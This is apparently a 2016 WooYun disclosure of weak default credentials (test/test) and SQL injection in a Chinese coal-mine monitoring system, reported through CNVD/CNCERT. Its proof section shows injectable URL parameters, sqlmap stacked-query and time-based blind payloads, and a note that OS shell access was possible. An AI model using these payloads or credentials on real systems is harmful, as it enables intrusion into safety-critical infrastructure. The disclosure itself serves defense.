当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0167615

漏洞标题：某煤矿监测系统弱口令+SQL注入(近30个煤矿\煤矿分布，作业图)

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2016-01-06 15:54

修复时间：2016-02-20 15:48

公开时间：2016-02-20 15:48

漏洞类型：后台弱口令

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-06： 细节已通知厂商并且等待厂商处理中
2016-01-08： 厂商已经确认，细节仅向厂商公开
2016-01-18： 细节向核心白帽子及相关领域专家公开
2016-01-28： 细节向普通白帽子公开
2016-02-07： 细节向实习白帽子公开
2016-02-20： 细节向公众公开

简要描述：

煤矿区安全

详细说明：

**.**.**.**/index.asp


test/test
弱口令登陆，发现test账号的权限也不小，估计测试完毕没有删除或降权
煤矿的分布图

分布图.png


meikuangshuliang.png


某一地区的数量

煤矿数量.png


警报图

报警图.png


baojingshuju.png


矿区的作业图

作业图.png


zuoyetu.png

漏洞证明：

此系统多个参数存在SQL注入,注入出来竟然是windows2000。。。

**.**.**.**/realtimedata/realtimedata.asp?jiedian=%E6%AC%A7%E9%87%8C%E9%95%BF%E5%9D%A1%E7%85%A4%E7%9F%BF%27
**.**.**.**/mgt_show/mgt_show.asp?text=陈火根煤矿'&layer=煤矿&property=0


zhuru.png


zhuru1.png


zhuru2.png


Parameter: #1* (URI)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: **.**.**.**:80/realtimedata/realtimedata.asp?jiedian=%E6%
AC%A7%E9%87%8C%E9%95%BF%E5%9D%A1%E7%85%A4%E7%9F%BF';WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: **.**.**.**:80/realtimedata/realtimedata.asp?jiedian=%E6%
AC%A7%E9%87%8C%E9%95%BF%E5%9D%A1%E7%85%A4%E7%9F%BF' WAITFOR DELAY '0:0:5'--
---
[21:26:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: Microsoft IIS 5.0
back-end DBMS: Microsoft SQL Server 2000
[21:26:09] [INFO] fetching current database
[21:26:09] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[21:26:23] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[21:26:34] [INFO] adjusting time delay to 2 seconds due to good response times
mkjk
current database:    'mkjk'


可以执行os-shell,忒慢了

ip.png


修复方案：

修改口令，过滤敏感字符

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-01-08 17:20

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置。

最新状态：

暂无